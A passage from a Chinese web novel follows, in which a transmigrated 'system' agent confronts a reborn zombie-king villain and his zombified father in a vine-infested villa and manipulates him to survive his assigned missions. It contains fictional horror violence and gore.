孩子越来越大,仿佛是在楚青琅的面前生长。 从可爱精致的孩童,成长为优雅英俊的少年,那双眼睛的颜色也越来越深,直到最后的单人画像,那双浓黑眼眸仿佛在直勾勾的瞧着他,带着诡秘的可怖。 和杀意? 楚青琅下意识的后退了一步,腰哐当一声撞到了栏杆,他不由得发出一声闷哼。 一道轻微的声音从不远处传来。 他转头望去,只见一位头发花白的老人缓缓关上了走廊尽头的门。 门内流淌而出的浅淡微白雾气被切断,最终消弭于空气中。 老人同样看见了他,走过来后微微躬身道:“夫人,您怎么上来了?周经那孩子不是去接您了吗?” 周经?是那个戴眼镜的男人吗? 楚青琅站直身子,带着试探道:“他在楼下,只让我进来了。请问,为什么称呼我为夫人啊?我和厉先生只是朋友关系,他帮助了我很多,我很感激他。还有,厉先生死了有报警吗?” 老人面上皱纹颤了下,他叹了口气,“夫人,请允许我先带你参观一下您日后的房间,这些问题,我都会为您解答的。” 给他安排的房间很大,并不像是客房。 楚青琅的视线从墙上原身喜欢的画像移到落地窗前的画架,还有靠墙的钢琴,柔软的奶白色沙发等等,一看就是一个文艺出尘的人的居所。 完全是根据原身立的人设来的。 他仿佛明白什么一般猛地转头,站在门前的老人对他露出和蔼的笑:“夫人,老爷早就做好了将您接过来的准备。” “只是天有不测风云。”老人示意他坐下,“在去找您的路上,老爷出了车祸,当时已经送去医院急救,可惜的是并没有抢救回来。” 楚青琅顺势坐下,老人则在身后仿佛变魔术一般拿出了一叠的纸张。 像是合同。 老人将其摊平,放在他的面前。 “这是老爷先前立下的遗嘱,只要您为他操持好丧事,今后厉家就是您的了。” 平整的纸面上有着鲜红的钢印,老人为他翻页。 “这些则是厉家的财产清单,望您过目,等到了丧事完成之后,这些也都将是您的。” “因此,我们称呼您为夫人。” 楚青琅看完,调整了一下呼吸,他抬头看着坐在他面前的老人,却只是问了一个别的问题,“这里只有您一个人吗?” 老人慢吞吞将纸张整理整齐,面上带着礼貌的微笑,慈爱的瞧着他,“原本是很多人的,只是老爷出事情之后,少爷觉得人太多了,就把人都给辞了。” 楚青琅眉微挑,刚要说什么,面前的老人就像是想到什么一般,补充了一句,“当然,您不用担心,关于丧礼需要拟定的名单,还有人员布置,并不需要您亲自插手,需要您做的只是在丧礼上露面,接待一下客人即可。到时,便算是您真正的走到他们的面前,算是让他们认识一下您。” 这可真是,好大的馅饼。 升官发财死老公一条龙服务吗? 楚青琅心中警惕,但是面上,他却只是盯着老人,浓郁的蓝眼睛溢满悲伤,“我能见一下厉先生吗?他真的给了我很大的帮助,怎么会发生这种事情您怎么称呼。” 老人恍然道:“是我年纪大了,竟然忘了向夫人您介绍自己,我是厉家的管家,您叫我老周就行。只是因为年纪大了,老爷特意留我在这里养老,周经便是我的孩子,现在,他是管家了。’ 他咳嗽了几声,接着说:“老爷的遗体已经入棺,并不适合见人。” 楚青琅想起刚走上楼梯时,浅淡的白色雾气,像极了因为温度极低而凝成的雾气。 但是人家已经说到这个份上了,不想让他进去的心昭然若揭,楚青琅也就没有纠缠。 他眨了下眼,装作擦拭泪水的样子遮掩住了表情,声音颤抖,一副担心忐忑的模样,“这样的条件,为什么厉先生的孩子会同意呢?” “少爷是个自尊心强的好孩子,他会自己闯出一番事业的,而且,他也非常喜欢您呢。”老人已经站起身,身上西装成套,哪怕青春不再,但是时间赋予了他更为稳重坦然的气质,像个绅士,“夫人不需要担心,等这次丧礼过后,无论是什么谣言,都会烟消云散的。现在天色已晚,您可以在此稍作休息,晚餐做好了会叫您的。” 楚青琅只能点头。 他看着老人走出去,直到一声极轻的阖门声传来,他才卸下一直紧绷的心神,面上装出来的白莲花的温柔也随之褪去,他扫视着这个房间,是掩饰不住的兴奋贪婪。 一副小人得志的样子。 和楼下一样,这个房间同样安静的很。 楚青琅坐了一会儿,看着眼前的三个任务只觉得头痛。 首先是第一个主线任务,要他死于反派手中。 这个任务表面看起来好完成,而且老人也说反派不会对他有意见,反而很喜欢他,但是哪怕是他一个系统,也知道夺人钱财,相当于与人结仇,他现在和反派的梁子算是结大发了。 而且主线任务联合支线任务一起看的话,分明是一个连环任务。 他必须要先去A市,中间再成为厉屿变为反派的推手,把他变成丧尸王 但是现在剧情卡在了开头,厉权没了,他跟谁去A市啊? 楚青琅站起身,打开窗户,看着外面成片的花朵和浓密的树木,指尖扣住了窗框。 花香袭来,他蓦地回想起来,每次发布任务主系统所说的提示。 剧情仅供参考。 这是不是代表着,只要他能够到达A市,完成任务,并不在意他是跟谁去。 * “夫人,饭菜好了。” 敲门声使楚青琅从沉思中惊醒。 他打开门,发现是先前那个戴眼镜的男人,正恭敬的站在门前。 而且随着天色暗下来,整个别墅仿佛活了过来,竟然有了一点热闹的感觉。 许多穿着统一的灰色制服的下人,正在忙碌的上菜。 水晶吊灯下,乳白色的桌布上多为银质器皿,还点着白色的长蜡烛,蜡烛旁,花束成团开的娇艳。 楚青琅下意识绷紧了后背,在周经的服侍下坐了下去。 他只是扫了一眼面前的食物,便侧身对着一旁的周经问道:“老周呢?” 周经低头微笑:“夫人,我父亲在房间休息,他年纪大了,晚上一向不吃东西。” 随后,男人便为他取来食物,放到了面前。 楚青琅下意识的扫视了一圈,目之所及,所有人都是一脸相同的笑容。 他们在注视着他。 这诡异的一幕,让楚青琅只是匆匆吃了几口,就放下了餐具。 在他准备上楼时,男人立在一旁,瞧着他的背影说:“夫人,您不再多吃一点吗?这次有着新送来的海鱼,日后的话,可能吃不到了。” 楚青琅疑惑回身,看着仰头瞧他的男人。 只见楼下的人仿佛解释一般的说:“听说这个海鱼,不久后会成为保护动物。” 楚青琅眉目舒展,笑了一下,“没关系,我只是听见了厉先生的事情心情不好罢了,你别多想。而且,我不爱吃鱼。” 男人垂头,恭敬道:“明白了,夫人。” * 深夜。 月光从纱帘下挤进房间,驱退了浓重昏暗。 宽大柔软的床铺上,一个面容俊美的青年正在酣睡,他唇微翘,仿佛沉浸于美梦中。 悠扬乐声忽地响起,紧闭的房门突然被缓缓打开。 面目模糊的身影从外走来,旁若无人,理直气壮地走到了青年身旁。 时间一点一点的过去,他却纹丝未动,只是静静的凝视着青年。 乐声逐渐飘渺,潜伏的“簌簌”声逐渐显现,仿佛一只蛇,一颗植物,在生长,在静悄悄地游曳而来。 野兽潜伏进来,抬起冰冷眼瞳,寻找着一击致命的机会。 青年仿佛感受到了什么,微微蹙了蹙眉。 “悉悉索索”的声音传来,平坦整洁的被子微微隆起。 顺着青年的四肢,缠绕于胸腹。 丰盈细腻的肉在青色粗糙的藤蔓中被挤压成各种模样,在黑暗中,那白玉边缘很快晕出了粉。 不加以控制的力道,将残留在肺腑的氧气消耗完全。 窒息感使得青年微微张开了唇,露出一线湿红舌尖,寻觅氧气想要呼吸,却被脖颈处的藤蔓阻碍。 缠缚,勒紧。 青年挣扎着喘息。 宛若蛛网上的猎物。 闯入者冷冷凝视着俯身,伸出手摸了过去。 尖锐的,漆黑的仿佛爪子一般的东西在黑暗中扭曲。 骨节微勾,点在了青年的舌尖上。 只是瞬间,一颗颗血珠就冒出,顺着脸侧滑落,被藤蔓贪婪汲取干净。 软白同艳红,极具有冲击力。 楚青琅倏地睁眼,捂着唇翻身而起。 却只见屋子空空荡荡,房门半掩。 有人进来了! 楚青琅双眼发亮,也顾不得舌尖刺痛,下床就朝着外面跑去。 能够在这个时间点找来的,一定是导致这些异常的人。 外面走廊的声控灯亮起。 脚下触感粗糙滑腻,有什么柔软多毛的东西顺着趾缝蔓延,摩挲裹住脚面。 他低头,心中一紧,同时下意识的将脚拔了出去。 青色的藤蔓布满了整个走廊,形状扭曲,仿佛人的残肢断臂一般。 他下意识的回头,愕然发现他的房门上也攀爬着许多的藤蔓,且奇异的是,从那狰狞的手掌,青色的血肉中,有着各种花朵盛开,花瓣粘连,淌出粘液。 丁香,鸢尾,百合,还有先前见过的,紫罗兰 艳丽的颜色,浓烈的香气。 仿佛他并未醒来,而是陷入了一场幻梦。 楚青琅抿了抿唇,攥紧手犹豫了几回,还是踩着那可怖的藤蔓朝着前方走去。 这些藤蔓的生长之地,在那间冒着雾气的房间。 ——也是厉权的停尸间。 身后的声控灯踩着他的脚步关闭。 紧闭的房门被打开的瞬间,寒气顺着指节攀沿而上,让他不禁打了个寒颤。 楚青琅深呼吸了一下,催眠自己。 没有鬼,没有鬼。 顶多里面是丧尸,大不了打不过他还能跑。 做好心里建设之后,他迈开了步伐。 黑暗阻挡了所有的窥视,他伸手在墙边摸索着开灯。 冰冷,粘腻,仿佛下雨后的潮气浸入骨髓。 楚青琅咬牙,白天的时候他故意观察了一下房间的格局,他想,开关的距离应该是大差不差的。 终于,指尖摸到了一个硬物,他微微施力按了下去。 房间瞬间明亮。 楚青琅睁开早先闭上的眼。 模糊的白光烙印在视网膜,随着时间的推移,逐渐减弱。 在这一瞬间,他和它们对视。 第32章 第 32 章 吃了他,吃了他,吃了他…… 楚青琅脸色煞白。 原本整洁的房间完全被青绿色的藤蔓所占据, 其上还长出了一颗颗红色的眼珠,正咕噜噜的转动着,齐齐朝他看来。 他又侧头朝着开关的方向望去,却赫然发现那地方已经被蠕动过来的藤蔓覆盖。 可以想象, 黑暗中, 修长白皙的手指在摸索开关时, 那些东西是如何用眼珠瞧着他, 躲避他。 他瞬间警惕起来,转身便想要退出去, 却见身后的路都被这些藤蔓断掉。 犹豫片刻,他只能朝前走去。 在房间的中央是一具实木棺材。 走进了,楚青琅才瞧见那上面竟然没有棺材盖,他低头看去,只见到一个形象出乎意料的人。 “厉先生?!” 楚青琅震惊的看着眼前被藤蔓捆住手脚的男人。 依然英俊的面孔, 只是毫无生气,已经变成了血红色的双眼直勾勾的凝视着虚空。 “厉先生?你还好吗?” 楚青琅弯腰,呼唤起来。 察觉到他的存在, 厉权突然挣扎起来。 “咚咚咚”的强烈声音, 在这种环境里显得格外惊悚。 那眼眸转动捉住他的视线, 变得极为凶恶。 不知是被那眼神震慑到,还是因为恐惧, 楚青琅脚下生根了一般, 动都动不了。 只能瞧着已经变成怪物的厉权挣开束缚,猛地起身。 最后掐着他的脖子将他抵到了墙边。 “厉先生……我,我是青琅啊……” 氧气迅速流失,蓝眼睛瞬间湿润,瞧过去的视线柔软而悲伤。 泪水一颗颗滴落在厉权手指裸/漏的白骨处。 浸入皮肉。 厉权面容波动了一下。 在楚青琅期待的视线中, 面前的怪物却只是吼了一声,加大了力道。 【主线任务完成度1%-5%-10%—】 【警告!警告!宿主生命值降低过快,检测到主线支线任务都未完成,一旦死亡,此次考核任务将失败。】 不行,现在不能死,必须要想出来办法,他的任务! 这是连环任务,主线任务完成了支线任务没完成,任务该彻底失败了。 冰冷且优雅的声音从一旁传来。 “真可惜,你竟然真的过来了,只能提前杀死你了。” 楚青琅努力转动头颅,却看不见出声的人。 他艰难道:“你是……是谁?” 那道声音仿佛极寒的冰,钻进耳道带着锋利的刺痛。 “我?杀你的人。” 楚青琅挣扎握住脖子上的手,脑袋飞速运转。 他几乎能嗅见厉权身上腐烂的气味。 在几乎窒息而死的时候,他用气音叫出了他的名字。 “厉……屿。” 话音落下,那人仿佛笑了一下。 “果然聪明。” 掐着他脖颈的手收回,变成丧尸的厉权就这样直愣愣的站在原地,人偶一般。 力道消失,楚青琅被迫踮起的脚尖踩实地面,双腿一软,便颓然趴了地上,咽喉火辣辣的,手脚冰凉。 这是他第一次碰见这样难的任务。 他一边咳嗽着,一边拼尽全力想要为自己争取一道生机。 很明显,厉权是被控制的,而控制他的就是厉屿。 他要杀他。 楚青琅嘶哑着嗓音拖延时间,“厉屿,是因为那份遗嘱吗?因为这个你才要杀我?但是这些都是可以改变的,如果你不愿意,我可以现在离开,我也不会告诉旁人,不会跟你争夺财产的…” 那道声音再次传来,带着讥讽,“他爱你。” 楚青琅眼睫轻颤,愣在原地。 厉屿接着说:“既然他那么喜欢你,你怎么能够离开他呢?” 楚青琅下意识抖了一下,“但是他已经死了。” 厉屿的声音压低,恍若对着情人呢喃,“所以,既然你们互相喜欢,一起死就是最好的,不是吗?” 楚青琅敏锐的察觉到厉屿话语的异样。 他恨他? 那份遗嘱真的有这么大的威力吗?只是因为财产?亦或者是因为他占了“母亲”这个身份? 但是厉屿现在展现出来的能力,分明是到了后期才能拥有的… 楚青琅隐约间感觉到哪里不对,他悄无声息的打开面板,开启摄像。 很快。 青年抬起头,眼尾泛红,神情惶然,眸子宛如天际最浓郁的那一抹蓝,哀伤的,可怜的。 “不会的,厉先生不会想要我死的。” 厉屿的声音愈发古怪,仿佛在耳边响起,“是吗?你这副表情,是在祈求谁?厉权还是我?” “就这么想要活下去吗?” 谁不想活?! 楚青琅差点骂人,他深呼吸了一下,保持着泪水涟涟的表情,语气也软绵绵的,“我过来只是想见一见厉先生,并没有别的想法,也没有想做他妻子的念头,我只是……太难以置信了。” “小屿,我不知道你为什么对我有这么大的敌意,但是你真的误会我了。” 整个房间霎时一片寂静。 余光中,匍匐在地的青色藤蔓疯狂生长。 楚青琅心中警铃大作,他直觉自己刚刚说了不该说的话。 再顾不上装模做样,他转身就想要逃跑,却被拽着脚踝停下了动作。 楚青琅重新趴伏在地上,瓷砖滑凉,藤蔓于身上攀爬,粗糙的表面划动着细腻的皮肤,留下一道道红痕。 宛若蛇一般,将他缠的死紧。 他无法听见的细碎声音响起。 【好香、好香、好香。】 【吃了他,吃了他,吃了他,吃了他。】 青色的枝干再次缩紧,上面生长的眼珠凑到楚青琅的脸旁,蹭着。 眼皮被掀开,露出湿漉漉的眼珠,贪婪的品尝着他的味道。 【厉屿,厉屿,厉屿——吃了他!】 【妈妈,妈妈,是妈妈。】 【甜的。】 他好像被舔了一口。 意识到这点时,楚青琅差点吐出来。 藤蔓捉住人之后,直接将楚青琅双手后背吊起。 他穿的单薄,白色睡衣随着那东西攀升的力道下滑,露出大片染上了青绿色的汁液的洁白肌肤。 那些藤蔓上开始长出五颜六色的花朵,在他的脚踝小腿脊背上摇曳。 楚青琅因为痛楚蜷缩了身子,却被强硬打开。 最后,那怪异的东西挤进他的手中,生出花来让他捧着,又缠绕着将手腕合拢。 碎发遮掩下,楚青琅的面容冷了下来。 从踏入厉家大门后的一幕幕在他脑海中闪回,犹如一道闪电,他瞬间意识到不对劲。 按照剧情,现在的厉屿并没有这样指挥丧尸加上控制变异植物的能力。 但是现在,走廊处的寄生花和那个丧尸,还有面前突然攻击又突然放手的厉权,应该都被厉屿所控制。 他到底怎么回事?为什么没有经历剧情就有了这样的能力? 楚青琅忍受着藤蔓在身上缠绕带来的闷痛和瘙痒。 他哑声道:“你到底是谁!为什么会有这样的能力!” 轻微的脚步声响起,厉屿的身影渐渐显现。 衬衣长裤衬得他英俊贵气中带着几分斯文,身姿挺拔,举止优雅,只是眼眸却是异色,一只浓黑,一只赤红。 明明是英俊的容貌,但是第一眼看过去时却让人只觉得不适和怪异。 厉屿站在他的面前,语气是诡异的低柔,“你不认识我” 楚青琅视线上移,并没有看那张和厉权有着几分相似的脸,他注意到在反派头顶的虚空中。 赫然显示着三个大字。 ——已重生。 看清这几个字的瞬间,寒意顺着脊背直窜头皮,他不自觉的抖了一下。 先前看的剧情在脑海里循环播放着,上面全是反派被他这个炮灰打压背叛,设计陷害,挑拨离间的情节。 相当于这个世界的反派大boss,是被他一手催化的。 他可真是,厉害啊。 看着剧情最后,反派率领着丧尸残杀人类的场面,楚青琅只感觉欲哭无泪。 主系统这是真的不想让他完成任务是吧? 他也没有招惹它啊? 冰凉的手指抚上他的侧脸,凑近的英俊面孔带着神经质的愉悦,异色眼眸是刺骨的杀意,“我又忘了,现在的你还不是你。好可惜。” 但是面前的反派还在盯着他,他不能思考太久。 先前老周给他看的那些名单上的人,有许多是剧情上标明的会背叛反派的。 难道说反派在报复? 真是彻头彻尾的疯子。 楚青琅几乎咬着牙问:“厉先生是你杀的?你想在你父亲的葬礼上干什么?” 厉屿歪了下头,轻声说:“好吵。” 他唇角勾起,漆黑的指甲变长,来到了楚青琅的脖颈处。 忽视那因为紧张而绷起的皮肉,径直来到藤蔓上长出肉牙的眼睛上。 因为被控制着,楚青琅神经紧绷间,只隐约听见了一声细小的尖叫声,就在他以为是幻觉时,甜蜜的香气迅速逸散,面前的人眉目舒展开来。 那些细碎的呢喃终于在耳边消失。 厉屿瞧着上辈子仇人漂亮柔顺却掩饰不住恐惧的面孔,空荡荡的胸膛只感觉到难得的愉悦。 这愉悦很快膨胀起来,将他塞满,让他几乎难以呼吸。 于是他划开自己的咽喉,让空气流淌进去。 楚青琅瞪大了双眼。 厉屿摘下藤蔓上面的花朵擦手,随后礼貌询问:“你说什么?” 楚青琅深吸了一口气,确认面前的反派已经是彻底黑化的版本。 他压着战栗,重复问道:“你想让我在你父亲的葬礼上做什么?” 厉屿瞧着他,双眸犹如捕猎时的猛兽。 专注,冷漠。 他说:“不做什么,只是杀人而已。你们的死亡总是很令我愉快。” 看着那双眼眸,楚青琅因为熟悉的红色晃了下神,但是很快就冷静道:“不对,如果你真的会感觉到愉快,就不会直到现在还留下我的性命。” 猛兽捕猎,却不吃,只有一种可能。 楚青琅一字一句道:“你要我做你的刀,杀死他们。让我在这个社会再无立足之地,让我饱受良心的谴责。” 他仿佛有些崩溃,蓝眸几乎淬出火星,又说:“我想要更好的生活,有什么不对!为什么要这样对我?!” 他在戏弄他,想要榨取他更多的痛苦。 死亡并不等于痛苦,只有悠长的折磨,才能让面前这个被末日扭曲了人格的反派找到活着的感觉。 闻言,厉屿的眉挑起,肌肉牵扯着眼尾,显得眼型愈发狭长锋利。 他笑出声,洁白整齐的牙齿森冷极了,“答案错误。” 楚青琅的脖颈被迫后仰,露出锁骨和青紫色的经脉,他艰难下转眼珠,视线中,漆黑指甲朝他剧烈起伏着的胸膛而去。 怎么会?! 那里错了? 不对,不能按照反派的思路走…… 几乎感觉到痛楚,在最后时刻,楚青琅彻底卸下了所有温顺模样,蓝眼睛迸射出恨意和不甘。 他道:“怪物!” 闪着寒光的指尖停滞。 楚青琅快速说:“你母亲为什么死亡?还不是因为生下你这个红眼睛的不详孩子,才在生下第二胎时难产死亡,要不是你,她怎么会这样?” “你父亲为什么不爱你,因为你是害死他妻子的凶手!” “你杀死了你的所有亲人,你还想着杀死你的仆从,朋友。老周,周经,别的仆从都成了你的傀儡!你把这里变成了你的巢穴,你还剩下些什么?” “这个世界上,没有人会爱你,没有人会在乎你,你就是一个可怜的怪物!!一个异类!!!” 周身的变得愈发狭窄,骨骼都开始呻吟,擦破表皮后的血肉被细密啃噬着。 在厉屿阴冷的视线中,楚青琅却又转变了情绪。 那锋利冷酷的蓝眼睛开始变得柔软起来,泛着天鹅绒般的质感。 他断断续续道:“只有我……我能看见你。我为了活下去,会努力爱你,会在乎你……小屿,只有我。” 哪怕他们心知肚明,对着彼此永远怀着杀意,但是只要给他一丝机会,他就可以拖延下去。 完成任务。 漆黑指尖缓缓上移,挪动到吐露出蛊惑语言的唇瓣上。 楚青琅驯服地张开了嘴,一双眼却晕着冷漠光彩。 湿濡的舌尖上还带着那残留的伤口,仿佛玫瑰图案烙印其上。 涎水在口腔积蓄,咽喉蠕动,湿滑软肉裹着漆黑坚硬的指尖,仿佛含着一只细长虫子,吮吸着那令人感到迷幻的甜蜜。 【答应,答应,答应他。】 【好饿,好饿,好饿。】 【喜欢,喜欢,喜欢,喜欢,喜欢,喜欢。】 厉屿忽地伸手揪住厉权的发,两张相似面孔一齐凑到楚青琅的面前。 同样的诡异,同样的毫无生气,让楚青琅下意识阖住嘴巴,抿住了那勾缠着的手指。 厉屿弯起唇,他提问:“我可是你的继子,父亲还在这里,母亲,你怎么能爱我呢?” 楚青琅用舌将那指尖抵出,脖颈处的力道渐小。 他竭力呼吸着,脸上却是一副深情的模样。 喉管吞咽着氧气,他压抑着本能的咳嗽,凑近亲了一下厉屿还在冒血的喉结。 看着厉屿骤缩的眼瞳,楚青琅密长眼睫如蝶翅轻拢,笑起来。 他温柔笃定地解答: “厉先生会理解我的,小屿。” 第33章 第 33 章 安魂曲。 终于, 终于忽悠住了反派。 楚青琅回到房间,靠着门板身躯软软下滑,他蜷缩起双腿,浑身几乎被汗水浸湿。 试探几回, 他原本是想要直接投靠反派才提出第二天的葬礼, 但是在提出后, 厉屿的反应着实不对。 他如果想当然的去投靠的话, 不仅人设会ooc,反派也会把他和上辈子那个人彻底重合, 等葬礼过去,绝对会将他杀死。 他就只能活明天一天。 如此,绝对不能向反派投诚。 他必须要踩着反派的底线,撬开他那冰冷疯狂的心,让反派动摇才能活下来。 因此当时, 就算是对那些话没有十分的把握,他也必须要说。 楚青琅默默的把录像上传给主系统,外加两万文字+音频投诉。 里面他特意加了一点料, 绝对会让主系统看的时候“心情愉快”。 他就不信了, 主系统还能给他理直气壮。 这个任务分明已经超过了考核任务的等级, 要不是他聪明,早就在面对厉权的时候就被弄死了, 甚至不会知道厉屿是重生的。 发送完成之后, 楚青琅又坐了一会儿,才彻底冷静下来。 他站起身,径直朝着浴室走去。 至于监控会不会拍到他刚刚狼狈的样子,他并不放在心上。 反派肯定明白,要不是楚青琅打不过他, 当时的情况又过于危急,早就像上辈子那样坑死他了,怎么会在这里和他虚与委蛇。 楚青琅仰头,任由温热水流打在他的全身,将所有粘腻感冲去。 莫名的,他的脑海忽地闪过一双红色眼眸,和厉屿的癫狂理智不同,那双眼瞧着他,一向深情痴迷。 而他在瞧见厉屿的时候,竟然会把两个人相提并论,简直可笑。 楚青琅哼了一声。 兆歧可比那个疯子好多了。 绵密泡沫逐渐覆盖全身,楚青琅随意仰头,只见莲蓬头上有着一根青黑色的藤蔓悠悠悬挂,尾端坠着一双肉眼,从那眼球中,又生出一双唇来,此时正垂涎的瞧着他。 仿佛察觉到自己被发现了,那个眼睛眨了一下,瞬间消失在他的眼前。 楚青琅咻的低头,加快了洗澡速度。 变态!!! 他以后一定要把这个反派给折腾个半死,不然他都对不起自己受的这些惊吓。 镜子里,青年白皙皮肤上有着道道红痕生长,仿佛饱受蹂躏。 手臂弯曲,骨节突起处有着淡淡的粉红洇出。那修长手指掀起碎发,露出清晰俊美的眉眼。 在最后逐渐被雾气覆盖的镜面上,是一双含着蔚蓝海洋的桃花眼,只是传递的情绪却是。 嫌恶。 * 第二天。 楚青琅下楼之后,发现反派已经在餐桌上坐着了。 只是出乎意料的,反派坐的位置并不是在主位。 他脚步刚停顿,厉屿就抬起了头。 两人对视间,一旁侍立的周经将主位的凳子拉开,恭敬的请他坐下。 厉屿穿的像是校服,藏青色的西装外套上有着学校的标识。 衬得他这个怪物竟然有了几分正常人的感觉。 楚青琅刚坐下,厉屿竟然率先开口。 “楚哥早上好。” 面前的反派语气礼貌,姿态优雅的将一杯牛奶推过来。 他接着说:“虽然你是我父亲的爱人,但是我想楚哥也不想被我叫做‘妈妈’。所以,我觉得这样称呼最好。” “楚哥觉得呢?” 外面阳光正好,穿过身侧的窗户落在桌子上新鲜的花束上,整个餐桌上的气氛显得和谐极了,再加上下来的一路上,那些藤蔓和花朵,都消失的无影无踪,走廊楼梯也干干净净的。 就像他昨天的记忆是梦一般。 楚青琅只沉默了一瞬,很快就笑了起来,他说:“当然可以,你是要去学校吗?” 厉屿点了点头,他意味深长道:“今天是学校的校庆,会有很多知名的学长回校,到时候,会有很多人的,有的已经知道了父亲的死亡的消息,所以,我可能会晚一点回来。我需要处理一些事情。葬礼” 他的嗓音并不是处于成年人的低沉,反而带着少年特有的清朗,只是咬字间带着不太明显的生涩意味。 这种细微的差别如果只说一两句还不是那么明显,但是一旦话说的长了,就会让人很快察觉。 就像是他很久没有说过话了一般。 而他说那么长的话,却不是单单为了说出他的行动轨迹,反而是为了告诉楚青琅他接下来会去干什么。 无外乎,就是将那些前世阻碍过他的人,一一杀死。 想来,丧尸爆发的时候,前世的反派就是因为学校中的人过多才耽误了时间。 因此等他回到家时,厉权已经带着楚青琅走了。 楚青琅指尖抽搐了一下,仿佛没有听懂一般,目光一如既往的温柔纯澈。 但是行动上,他却直接站起身坐到了厉屿的身侧,恍若不经意间拂过厉屿僵硬冰冷如死尸的手,拿过刀叉为他分起了早餐。 温软的触感一闪而逝去,一块焦香的面包片就抵在了唇边。 厉屿抬眼瞧去,只见面前的人笑吟吟的望着他,刻意放缓的声音带着明显的诱哄。 “真是辛苦小屿了,葬礼的事情不用你担心,我会操持好的。来,张嘴。” 厉屿面前的食物并未动过分毫,楚青琅在坐下的时候就瞧见了。 丧尸是无法吃人类的食物的,更遑论厉屿是丧尸王了。 楚青琅就是故意的。 他面上带笑,心里却在恶狠狠的想,难受恶心死你! 谁让在反派的认知中,他现在不应该知道反派不能吃人类的东西,毕竟现在丧尸病毒还没有爆发。 没有人对此有概念。 所以在昨天他们达成共识之后,反派绝对不会就此掀桌。 憋屈死这个变态!! 看着厉屿逐渐变冷的眼神,楚青琅却是一副疑惑的样子,手还朝前杵了杵。 已经被抹上了黄油的面包片,香气四溢,厉家的厨师烤的面包片恰到好处,颜色微焦黄,却格外能勾起人的食欲。 在他的注视下,厉屿张嘴咬下,并未咀嚼就直接吞入。 神情不像吃什么美味的食物,反而连面上装出来的礼貌优雅都被冰封。 就这样,楚青琅亲手喂反派吃完了面前的早餐。 最后,他还拿着一旁的手帕,为厉屿擦拭着唇边,顺势捂住了他的嘴,并且一副体贴的模样叮嘱道:“小屿要和同学好好相处噢。” 反派盯了他一会儿,从喉间溢出冷笑来。 手腕被捉住,楚青琅无辜望去,却见反派低下了头颅,轻嗅了一下。 宛若一块冰块贴在他的皮肤上,楚轻琅下意识地缩了缩手,却无法挣脱。 厉屿抬眼,直勾勾地盯着他说: “楚哥真是关心我。” 楚青琅捉弄到人,心里的愉快就带到了神情中,瞧过去的眼神愈发柔和,几乎要看见的人溺死在那片海洋中。 他道:“应该的,小屿。” 两人僵持在这里,忽地,厉屿放开了他的手,起身离开。 看着他的背影消失在门前,楚青琅才彻底放松下来。 他摸了摸肚子,做到自己的位置上开吃起来。 毕竟为了完成任务,他可是消耗了很大的脑力,当然要好好犒劳自己。 接下来,他还有硬仗要打。 楚青琅边想边朝嘴里送了一勺形状漂亮的蛋花,桃花眼微眯,一脸的餍足。 * 车上。 厉屿坐在后面,一只手按着腹部,看似安静的闭目养神。 以往早已习惯的皮革气味,人类的臭味,各种污浊的味道一股脑的朝着鼻子冲来。 胃部是仿佛被千万把刀子插入搅动,极致的恶心和疼痛一齐袭来,却又被他强硬压下。 因为红灯,他所乘坐的车子极轻微的顿了一下。 只是这一下,却仿佛是最后一根稻草,那些不适成千上万倍的反噬而来。 只有最开始变成丧尸王的时候才尝试了一下人类食物,后面就从未碰过丝毫的厉屿,在仇人的蛊惑下,又一次重温了这种折磨。 厉屿睁开眼,神情是平静的残忍。 轻微的衣物撕裂声之后,他弯曲指节,挖开了自己的小腹。 * 楚青琅吃完饭后,找周经要了喷壶,去别墅外浇起了花。 阳光下,青年身姿欣长,浅色开衫和长裤显得他愈发温柔。 侧脸线条流畅,唇含笑翘起,色泽浓郁的蓝眸被充足光芒包裹,显得愈发清透。 水流连绵不断的打在叶片花瓣上,然后溅到手背上,凝成一串水珠,顺着白皙皮肤滚落。 楚青琅皱了下眉毛。 这让他产生了一些不好的联想。 一旁递过来一方洁白的手帕。 不知何时,周经悄无声息的走了过来。 楚青琅侧头望去,只见他捧着一沓厚厚的纸张。 周经微笑道:“夫人,这边是已经整理好的名单,还有一些葬礼物品的采购单……需要我这边给您念一下吗?” “还有,稍后会有一些专业殡葬的工作人员到家来布置场地,希望您稍微避开一些。” 楚青琅的视线在他手上打了个转,忽然询问道:“厉先生是火葬还是土葬呢?” 周经说:“少爷瞩意火葬。” 楚青琅迈开脚步,换了一片花浇水,周经在后面跟着。 他垂眼,仿佛刚刚只是随口一问。 但是脑海里的小人却一脸严肃的托着下巴思考。 厉先生此时已经成了丧尸,按理来说丧尸已经是死物了,但是就昨天他观察厉先生的反应,楚青琅莫名觉得厉先生还是保留着一丝的意识的。 难道说是因为他是被丧尸王亲自转化的原因吗? 假如真的有意识,那么火葬和活生生的烧死一个人有什么区别? 而且,没准他会有用处呢…… 楚青琅放下水壶,拿过手帕细细的擦拭起自己的手,周经就这样站在他的面前,毫无感情的笑着看他。 他忽地上前一步,把手帕塞进了周经胸前的口袋。 过近的距离可以让楚青琅看清周经望着他石头一般冷硬的双眸,中间要不是眼镜阻隔,两人的睫毛几乎会碰在一起。 楚青琅通知他:“改成土葬。” 周经没有回话,楚青琅用指尖勾下他的眼镜,语气和煦:“小屿是个乖孩子,他会同意的。” 风刮过花朵树木,送来一句无声的吩咐。 面前的人依然笃定且从容的凝着他,周经后退一步,垂下了头。 他说:“是。” 得到了满意的回答,楚青琅轻巧转身,离开这里。 淡蓝色面板闪烁,一封信件的标识出现在右上角。 这么长时间才回复,小世界和主神空间可没有什么信号限制。 看来他加的料,主系统很喜欢。 楚青琅欣悦的点开信件。 【主系统:$&%此&^此事已经告知天道,你完成任务之后,天道会重新调整世界线。另,为补偿,你回来后我会回答你一个问题。】 【主神:因剧情人物偏移,任务更改。主线任务:被反派杀死,支线任务:逃亡A市。】 楚青琅停下脚步,视线凝滞在主系统最后一句上。 良久。 * 天空逐渐笼上蓝雾,世界变得昏暗起来。 一辆辆黑色车子从远处行来,通过铁质栏杆,来到别墅前。 因为是葬礼,且家中掌事的人并没有将此事放在心上,所以厉家装饰的并没有很隆重。 只是在树上挂了一些黑布条,接待客人的大厅中摆放了许多的白色蜡烛。 悠扬的钢琴声在别墅中回荡,乐声几乎塞满了每个角落。 每个客人到来的时候,几乎都会对楼下开的盛烈的花朵表示出惊讶和赞誉。 于是侍从就会轻轻侧身,带着一致的笑容,贴心用一些浅显的种植知识来敷衍他们。 楚青的视线在那些侍从脸上的笑容上停下,随后收回。 回到房间后,他思索了一下接下来的行动,理顺了接下来的完成任务和如何与反派相处的策略。 